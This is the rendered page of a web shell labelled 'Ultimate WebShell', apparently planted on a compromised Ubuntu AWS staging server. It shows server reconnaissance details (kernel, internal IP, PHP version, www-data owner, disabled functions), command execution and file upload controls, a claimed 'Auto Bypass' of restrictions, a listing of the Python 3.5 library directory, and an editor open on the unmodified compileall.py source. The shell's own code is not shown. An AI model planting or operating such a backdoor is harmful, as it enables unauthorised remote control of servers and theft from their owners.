WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core
17292
usr
lib
python3.5
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-02-25 16:32:53
-
__pycache__
Folder
-
0755
2026-02-25 16:32:53
asyncio
Folder
-
0755
2026-02-25 16:32:53
collections
Folder
-
0755
2026-02-25 16:32:53
concurrent
Folder
-
0755
2026-02-25 16:32:53
ctypes
Folder
-
0755
2026-02-25 16:32:53
curses
Folder
-
0755
2026-02-25 16:32:53
dbm
Folder
-
0755
2026-02-25 16:32:52
distutils
Folder
-
0755
2026-02-25 16:32:53
email
Folder
-
0755
2026-02-25 16:32:53
encodings
Folder
-
0755
2026-02-25 16:32:53
html
Folder
-
0755
2026-02-25 16:32:53
http
Folder
-
0755
2026-02-25 16:32:53
idlelib
Folder
-
0755
2026-02-25 16:32:53
importlib
Folder
-
0755
2026-02-25 16:32:53
json
Folder
-
0755
2026-02-25 16:32:53
lib-dynload
Folder
-
0755
2026-02-25 16:32:53
lib2to3
Folder
-
0755
2026-02-25 16:32:53
logging
Folder
-
0755
2026-02-25 16:32:53
multiprocessing
Folder
-
0755
2026-02-25 16:32:53
plat-x86_64-linux-gnu
Folder
-
0755
2026-02-25 16:32:53
pydoc_data
Folder
-
0755
2026-02-25 16:32:53
sqlite3
Folder
-
0755
2026-02-25 16:32:53
test
Folder
-
0755
2026-02-25 16:32:53
tkinter
Folder
-
0755
2026-02-25 16:32:53
unittest
Folder
-
0755
2026-02-25 16:32:53
urllib
Folder
-
0755
2026-02-25 16:32:53
venv
Folder
-
0755
2026-02-25 16:32:52
wsgiref
Folder
-
0755
2026-02-25 16:32:53
xml
Folder
-
0755
2026-02-25 16:32:52
xmlrpc
Folder
-
0755
2026-02-25 16:32:53
LICENSE.txt
File
12.47 KB
0644
2026-02-02 21:25:29
__future__.py
File
4.73 KB
0644
2026-02-02 21:25:25
__phello__.foo.py
File
64 B
0644
2026-02-02 21:25:25
_bootlocale.py
File
1.27 KB
0644
2026-02-02 21:25:25
_collections_abc.py
File
24.13 KB
0644
2026-02-02 21:25:25
_compat_pickle.py
File
8.36 KB
0644
2026-02-02 21:25:25
_compression.py
File
5.21 KB
0644
2026-02-02 21:25:25
_dummy_thread.py
File
5 KB
0644
2026-02-02 21:25:25
_markupbase.py
File
14.26 KB
0644
2026-02-02 21:25:25
_osx_support.py
File
18.66 KB
0644
2026-02-02 21:25:25
_pydecimal.py
File
222.46 KB
0644
2026-02-02 21:25:25
_pyio.py
File
85.91 KB
0644
2026-02-02 21:25:25
_sitebuiltins.py
File
3.04 KB
0644
2026-02-02 21:25:25
_strptime.py
File
21.67 KB
0644
2026-02-02 21:25:25
_sysconfigdata.py
File
126 B
0644
2013-11-23 12:09:48
_threading_local.py
File
7.24 KB
0644
2026-02-02 21:25:25
_weakrefset.py
File
5.57 KB
0644
2026-02-02 21:25:25
abc.py
File
8.43 KB
0644
2026-02-02 21:25:25
aifc.py
File
30.84 KB
0644
2026-02-02 21:25:25
antigravity.py
File
475 B
0644
2026-02-02 21:25:25
argparse.py
File
88.21 KB
0644
2026-02-02 21:25:25
ast.py
File
11.72 KB
0644
2026-02-02 21:25:25
asynchat.py
File
11.69 KB
0644
2026-02-02 21:25:25
asyncore.py
File
19.63 KB
0644
2026-02-02 21:25:25
base64.py
File
19.96 KB
0755
2026-02-02 21:25:48
bdb.py
File
22.81 KB
0644
2026-02-02 21:25:25
binhex.py
File
13.63 KB
0644
2026-02-02 21:25:25
bisect.py
File
2.53 KB
0644
2026-02-02 21:25:25
bz2.py
File
12.13 KB
0644
2026-02-02 21:25:25
cProfile.py
File
5.19 KB
0755
2026-02-02 21:26:14
calendar.py
File
22.4 KB
0644
2026-02-02 21:25:25
cgi.py
File
35.19 KB
0755
2026-02-02 21:26:15
cgitb.py
File
11.74 KB
0644
2026-02-02 21:25:25
chunk.py
File
5.3 KB
0644
2026-02-02 21:25:25
cmd.py
File
14.51 KB
0644
2026-02-02 21:25:25
code.py
File
9.88 KB
0644
2026-02-02 21:25:25
codecs.py
File
35.38 KB
0644
2026-02-02 21:25:25
codeop.py
File
5.85 KB
0644
2026-02-02 21:25:25
colorsys.py
File
3.97 KB
0644
2026-02-02 21:25:25
compileall.py
File
11.42 KB
0644
2026-02-02 21:25:25
configparser.py
File
52.2 KB
0644
2026-02-02 21:25:25
contextlib.py
File
11.97 KB
0644
2026-02-02 21:25:25
copy.py
File
8.74 KB
0644
2026-02-02 21:25:25
copyreg.py
File
6.67 KB
0644
2026-02-02 21:25:25
crypt.py
File
1.83 KB
0644
2026-02-02 21:25:25
csv.py
File
15.75 KB
0644
2026-02-02 21:25:25
datetime.py
File
74.12 KB
0644
2026-02-02 21:25:25
decimal.py
File
320 B
0644
2026-02-02 21:25:25
difflib.py
File
82.23 KB
0644
2026-02-02 21:25:25
dis.py
File
16.94 KB
0644
2026-02-02 21:25:25
doctest.py
File
101.6 KB
0644
2026-02-02 21:25:25
dummy_threading.py
File
2.75 KB
0644
2026-02-02 21:25:25
enum.py
File
21.71 KB
0644
2026-02-02 21:25:25
filecmp.py
File
9.6 KB
0644
2026-02-02 21:25:25
fileinput.py
File
13.92 KB
0644
2026-02-02 21:25:25
fnmatch.py
File
3.09 KB
0644
2026-02-02 21:25:25
formatter.py
File
14.79 KB
0644
2026-02-02 21:25:25
fractions.py
File
23.82 KB
0644
2026-02-02 21:25:25
ftplib.py
File
34.36 KB
0644
2026-02-02 21:25:25
functools.py
File
28.1 KB
0644
2026-02-02 21:25:25
genericpath.py
File
4.26 KB
0644
2026-02-02 21:25:25
getopt.py
File
7.31 KB
0644
2026-02-02 21:25:25
getpass.py
File
5.91 KB
0644
2026-02-02 21:25:25
gettext.py
File
18.18 KB
0644
2026-02-02 21:25:25
glob.py
File
4.95 KB
0644
2026-02-02 21:25:25
gzip.py
File
19.79 KB
0644
2026-02-02 21:25:25
hashlib.py
File
7.79 KB
0644
2026-02-02 21:25:25
heapq.py
File
22.39 KB
0644
2026-02-02 21:25:25
hmac.py
File
4.94 KB
0644
2026-02-02 21:25:25
imaplib.py
File
50.95 KB
0644
2026-02-02 21:25:25
imghdr.py
File
3.67 KB
0644
2026-02-02 21:25:25
imp.py
File
10.38 KB
0644
2026-02-02 21:25:25
inspect.py
File
110.66 KB
0644
2026-02-02 21:25:25
io.py
File
3.32 KB
0644
2026-02-02 21:25:25
ipaddress.py
File
78.41 KB
0644
2026-02-02 21:25:25
keyword.py
File
2.16 KB
0755
2026-02-02 21:25:48
linecache.py
File
5.19 KB
0644
2026-02-02 21:25:25
locale.py
File
72.97 KB
0644
2026-02-02 21:25:25
lzma.py
File
12.62 KB
0644
2026-02-02 21:25:25
macpath.py
File
5.77 KB
0644
2026-02-02 21:25:25
macurl2path.py
File
2.67 KB
0644
2026-02-02 21:25:25
mailbox.py
File
76.58 KB
0644
2026-02-02 21:25:25
mailcap.py
File
8.21 KB
0644
2026-02-02 21:25:25
mimetypes.py
File
20.36 KB
0644
2026-02-02 21:25:25
modulefinder.py
File
22.54 KB
0644
2026-02-02 21:25:25
netrc.py
File
5.61 KB
0644
2026-02-02 21:25:25
nntplib.py
File
42.07 KB
0644
2026-02-02 21:25:25
ntpath.py
File
20.41 KB
0644
2026-02-02 21:25:25
nturl2path.py
File
2.39 KB
0644
2026-02-02 21:25:25
numbers.py
File
10 KB
0644
2026-02-02 21:25:25
opcode.py
File
5.75 KB
0644
2026-02-02 21:25:25
operator.py
File
10.61 KB
0644
2026-02-02 21:25:25
optparse.py
File
58.93 KB
0644
2026-02-02 21:25:25
os.py
File
36.1 KB
0644
2026-02-02 21:25:25
pathlib.py
File
45.89 KB
0644
2026-02-02 21:25:25
pdb.py
File
59.56 KB
0755
2026-02-02 21:26:14
pickle.py
File
54.54 KB
0644
2026-02-02 21:25:25
pickletools.py
File
89.61 KB
0644
2026-02-02 21:25:25
pipes.py
File
8.71 KB
0644
2026-02-02 21:25:25
pkgutil.py
File
20.71 KB
0644
2026-02-02 21:25:25
platform.py
File
47.91 KB
0755
2026-02-02 21:25:46
plistlib.py
File
32.23 KB
0644
2026-02-02 21:25:25
poplib.py
File
14.29 KB
0644
2026-02-02 21:25:25
posixpath.py
File
14.43 KB
0644
2026-02-02 21:25:25
pprint.py
File
20.37 KB
0644
2026-02-02 21:25:25
profile.py
File
21.5 KB
0755
2026-02-02 21:26:07
pstats.py
File
25.7 KB
0644
2026-02-02 21:25:25
pty.py
File
4.65 KB
0644
2026-02-02 21:25:25
py_compile.py
File
7.01 KB
0644
2026-02-02 21:25:25
pyclbr.py
File
13.25 KB
0644
2026-02-02 21:25:25
pydoc.py
File
100.38 KB
0755
2026-02-02 21:26:13
queue.py
File
8.57 KB
0644
2026-02-02 21:25:25
quopri.py
File
7.08 KB
0755
2026-02-02 21:26:07
random.py
File
25.48 KB
0644
2026-02-02 21:25:25
re.py
File
15.14 KB
0644
2026-02-02 21:25:25
reprlib.py
File
5.21 KB
0644
2026-02-02 21:25:25
rlcompleter.py
File
6.16 KB
0644
2026-02-02 21:25:25
runpy.py
File
11.13 KB
0644
2026-02-02 21:25:25
sched.py
File
6.07 KB
0644
2026-02-02 21:25:25
selectors.py
File
18.72 KB
0644
2026-02-02 21:25:25
shelve.py
File
8.33 KB
0644
2026-02-02 21:25:25
shlex.py
File
11.15 KB
0644
2026-02-02 21:25:25
shutil.py
File
38.93 KB
0644
2026-02-02 21:25:25
signal.py
File
2.07 KB
0644
2026-02-02 21:25:25
site.py
File
21.74 KB
0644
2026-02-02 21:25:25
sitecustomize.py
File
0 B
0
1970-01-01 00:00:00
smtpd.py
File
34.53 KB
0755
2026-02-02 21:26:14
smtplib.py
File
42.57 KB
0755
2026-02-02 21:26:07
sndhdr.py
File
6.27 KB
0644
2026-02-02 21:25:25
socket.py
File
26.46 KB
0644
2026-02-02 21:25:25
socketserver.py
File
24.09 KB
0644
2026-02-02 21:25:25
sre_compile.py
File
17.98 KB
0644
2026-02-02 21:25:25
sre_constants.py
File
6.3 KB
0644
2026-02-02 21:25:25
sre_parse.py
File
34.14 KB
0644
2026-02-02 21:25:25
ssl.py
File
42.54 KB
0644
2026-02-02 21:25:25
stat.py
File
4.92 KB
0644
2026-02-02 21:25:25
statistics.py
File
19.08 KB
0644
2026-02-02 21:25:25
string.py
File
11.58 KB
0644
2026-02-02 21:25:25
stringprep.py
File
12.61 KB
0644
2026-02-02 21:25:25
struct.py
File
257 B
0644
2026-02-02 21:25:25
subprocess.py
File
66.8 KB
0644
2026-02-02 21:25:25
sunau.py
File
17.67 KB
0644
2026-02-02 21:25:25
symbol.py
File
2.04 KB
0755
2026-02-02 21:26:15
symtable.py
File
7.02 KB
0644
2026-02-02 21:25:25
sysconfig.py
File
24.07 KB
0644
2026-02-02 21:25:25
tabnanny.py
File
11.13 KB
0755
2026-02-02 21:26:13
tarfile.py
File
92.46 KB
0755
2026-02-02 21:26:13
telnetlib.py
File
22.48 KB
0644
2026-02-02 21:25:25
tempfile.py
File
30.98 KB
0644
2026-02-02 21:25:25
textwrap.py
File
19.19 KB
0644
2026-02-02 21:25:25
this.py
File
1003 B
0644
2026-02-02 21:25:25
threading.py
File
47.77 KB
0644
2026-02-02 21:25:25
timeit.py
File
12.1 KB
0755
2026-02-02 21:26:07
token.py
File
3 KB
0644
2026-02-02 21:25:25
tokenize.py
File
27.14 KB
0644
2026-02-02 21:25:25
trace.py
File
30.8 KB
0755
2026-02-02 21:26:13
traceback.py
File
21.67 KB
0644
2026-02-02 21:25:25
tracemalloc.py
File
15.27 KB
0644
2026-02-02 21:25:25
tty.py
File
879 B
0644
2026-02-02 21:25:25
turtle.py
File
140.14 KB
0644
2026-02-02 21:25:25
types.py
File
8.59 KB
0644
2026-02-02 21:25:25
typing.py
File
58.12 KB
0644
2026-02-02 21:25:25
uu.py
File
6.59 KB
0755
2026-02-02 21:26:07
uuid.py
File
22.72 KB
0644
2026-02-02 21:25:25
warnings.py
File
15.48 KB
0644
2026-02-02 21:25:25
wave.py
File
17.27 KB
0644
2026-02-02 21:25:25
weakref.py
File
18.95 KB
0644
2026-02-02 21:25:25
webbrowser.py
File
20.92 KB
0755
2026-02-02 21:26:13
xdrlib.py
File
5.77 KB
0644
2026-02-02 21:25:25
zipapp.py
File
6.99 KB
0644
2026-02-02 21:25:25
zipfile.py
File
73.81 KB
0644
2026-02-02 21:25:25
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: compileall.py
"""Module/script to byte-compile all .py files to .pyc files. When called as a script with arguments, this compiles the directories given as arguments recursively; the -l option prevents it from recursing into directories. Without arguments, if compiles all modules on sys.path, without recursing into subdirectories. (Even though it should do so for packages -- for now, you'll have to deal with packages separately.) See module py_compile for details of the actual byte-compilation. """ import os import sys import importlib.util import py_compile import struct try: from concurrent.futures import ProcessPoolExecutor except ImportError: ProcessPoolExecutor = None from functools import partial __all__ = ["compile_dir","compile_file","compile_path"] def _walk_dir(dir, ddir=None, maxlevels=10, quiet=0): if not quiet: print('Listing {!r}...'.format(dir)) try: names = os.listdir(dir) except OSError: if quiet < 2: print("Can't list {!r}".format(dir)) names = [] names.sort() for name in names: if name == '__pycache__': continue fullname = os.path.join(dir, name) if ddir is not None: dfile = os.path.join(ddir, name) else: dfile = None if not os.path.isdir(fullname): yield fullname elif (maxlevels > 0 and name != os.curdir and name != os.pardir and os.path.isdir(fullname) and not os.path.islink(fullname)): yield from _walk_dir(fullname, ddir=dfile, maxlevels=maxlevels - 1, quiet=quiet) def compile_dir(dir, maxlevels=10, ddir=None, force=False, rx=None, quiet=0, legacy=False, optimize=-1, workers=1): """Byte-compile all modules in the given directory tree. Arguments (only dir is required): dir: the directory to byte-compile maxlevels: maximum recursion level (default 10) ddir: the directory that will be prepended to the path to the file as it is compiled into each byte-code file. force: if True, force compilation, even if timestamps are up-to-date quiet: full output with False or 0, errors only with 1, no output with 2 legacy: if True, produce legacy pyc paths instead of PEP 3147 paths optimize: optimization level or -1 for level of the interpreter workers: maximum number of parallel workers """ files = _walk_dir(dir, quiet=quiet, maxlevels=maxlevels, ddir=ddir) success = 1 if workers is not None and workers != 1 and ProcessPoolExecutor is not None: if workers < 0: raise ValueError('workers must be greater or equal to 0') workers = workers or None with ProcessPoolExecutor(max_workers=workers) as executor: results = executor.map(partial(compile_file, ddir=ddir, force=force, rx=rx, quiet=quiet, legacy=legacy, optimize=optimize), files) success = min(results, default=1) else: for file in files: if not compile_file(file, ddir, force, rx, quiet, legacy, optimize): success = 0 return success def compile_file(fullname, ddir=None, force=False, rx=None, quiet=0, legacy=False, optimize=-1): """Byte-compile one file. Arguments (only fullname is required): fullname: the file to byte-compile ddir: if given, the directory name compiled in to the byte-code file. force: if True, force compilation, even if timestamps are up-to-date quiet: full output with False or 0, errors only with 1, no output with 2 legacy: if True, produce legacy pyc paths instead of PEP 3147 paths optimize: optimization level or -1 for level of the interpreter """ success = 1 name = os.path.basename(fullname) if ddir is not None: dfile = os.path.join(ddir, name) else: dfile = None if rx is not None: mo = rx.search(fullname) if mo: return success if os.path.isfile(fullname): if legacy: cfile = fullname + 'c' else: if optimize >= 0: opt = optimize if optimize >= 1 else '' cfile = importlib.util.cache_from_source( fullname, optimization=opt) else: cfile = importlib.util.cache_from_source(fullname) cache_dir = os.path.dirname(cfile) head, tail = name[:-3], name[-3:] if tail == '.py': if not force: try: mtime = int(os.stat(fullname).st_mtime) expect = struct.pack('<4sl', importlib.util.MAGIC_NUMBER, mtime) with open(cfile, 'rb') as chandle: actual = chandle.read(8) if expect == actual: return success except OSError: pass if not quiet: print('Compiling {!r}...'.format(fullname)) try: ok = py_compile.compile(fullname, cfile, dfile, True, optimize=optimize) except py_compile.PyCompileError as err: success = 0 if quiet >= 2: return success elif quiet: print('*** Error compiling {!r}...'.format(fullname)) else: print('*** ', end='') # escape non-printable characters in msg msg = err.msg.encode(sys.stdout.encoding, errors='backslashreplace') msg = msg.decode(sys.stdout.encoding) print(msg) except (SyntaxError, UnicodeError, OSError) as e: success = 0 if quiet >= 2: return success elif quiet: print('*** Error compiling {!r}...'.format(fullname)) else: print('*** ', end='') print(e.__class__.__name__ + ':', e) else: if ok == 0: success = 0 return success def compile_path(skip_curdir=1, maxlevels=0, force=False, quiet=0, legacy=False, optimize=-1): """Byte-compile all module on sys.path. Arguments (all optional): skip_curdir: if true, skip current directory (default True) maxlevels: max recursion level (default 0) force: as for compile_dir() (default False) quiet: as for compile_dir() (default 0) legacy: as for compile_dir() (default False) optimize: as for compile_dir() (default -1) """ success = 1 for dir in sys.path: if (not dir or dir == os.curdir) and skip_curdir: if quiet < 2: print('Skipping current directory') else: success = success and compile_dir(dir, maxlevels, None, force, quiet=quiet, legacy=legacy, optimize=optimize) return success def main(): """Script main program.""" import argparse parser = argparse.ArgumentParser( description='Utilities to support installing Python libraries.') parser.add_argument('-l', action='store_const', const=0, default=10, dest='maxlevels', help="don't recurse into subdirectories") parser.add_argument('-r', type=int, dest='recursion', help=('control the maximum recursion level. ' 'if `-l` and `-r` options are specified, ' 'then `-r` takes precedence.')) parser.add_argument('-f', action='store_true', dest='force', help='force rebuild even if timestamps are up to date') parser.add_argument('-q', action='count', dest='quiet', default=0, help='output only error messages; -qq will suppress ' 'the error messages as well.') parser.add_argument('-b', action='store_true', dest='legacy', help='use legacy (pre-PEP3147) compiled file locations') parser.add_argument('-d', metavar='DESTDIR', dest='ddir', default=None, help=('directory to prepend to file paths for use in ' 'compile-time tracebacks and in runtime ' 'tracebacks in cases where the source file is ' 'unavailable')) parser.add_argument('-x', metavar='REGEXP', dest='rx', default=None, help=('skip files matching the regular expression; ' 'the regexp is searched for in the full path ' 'of each file considered for compilation')) parser.add_argument('-i', metavar='FILE', dest='flist', help=('add all the files and directories listed in ' 'FILE to the list considered for compilation; ' 'if "-", names are read from stdin')) parser.add_argument('compile_dest', metavar='FILE|DIR', nargs='*', help=('zero or more file and directory names ' 'to compile; if no arguments given, defaults ' 'to the equivalent of -l sys.path')) parser.add_argument('-j', '--workers', default=1, type=int, help='Run compileall concurrently') args = parser.parse_args() compile_dests = args.compile_dest if args.rx: import re args.rx = re.compile(args.rx) if args.recursion is not None: maxlevels = args.recursion else: maxlevels = args.maxlevels # if flist is provided then load it if args.flist: try: with (sys.stdin if args.flist=='-' else open(args.flist)) as f: for line in f: compile_dests.append(line.strip()) except OSError: if args.quiet < 2: print("Error reading file list {}".format(args.flist)) return False if args.workers is not None: args.workers = args.workers or None success = True try: if compile_dests: for dest in compile_dests: if os.path.isfile(dest): if not compile_file(dest, args.ddir, args.force, args.rx, args.quiet, args.legacy): success = False else: if not compile_dir(dest, maxlevels, args.ddir, args.force, args.rx, args.quiet, args.legacy, workers=args.workers): success = False return success else: return compile_path(legacy=args.legacy, force=args.force, quiet=args.quiet) except KeyboardInterrupt: if args.quiet < 2: print("\n[interrupted]") return False return True if __name__ == '__main__': exit_status = int(not main()) sys.exit(exit_status)
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED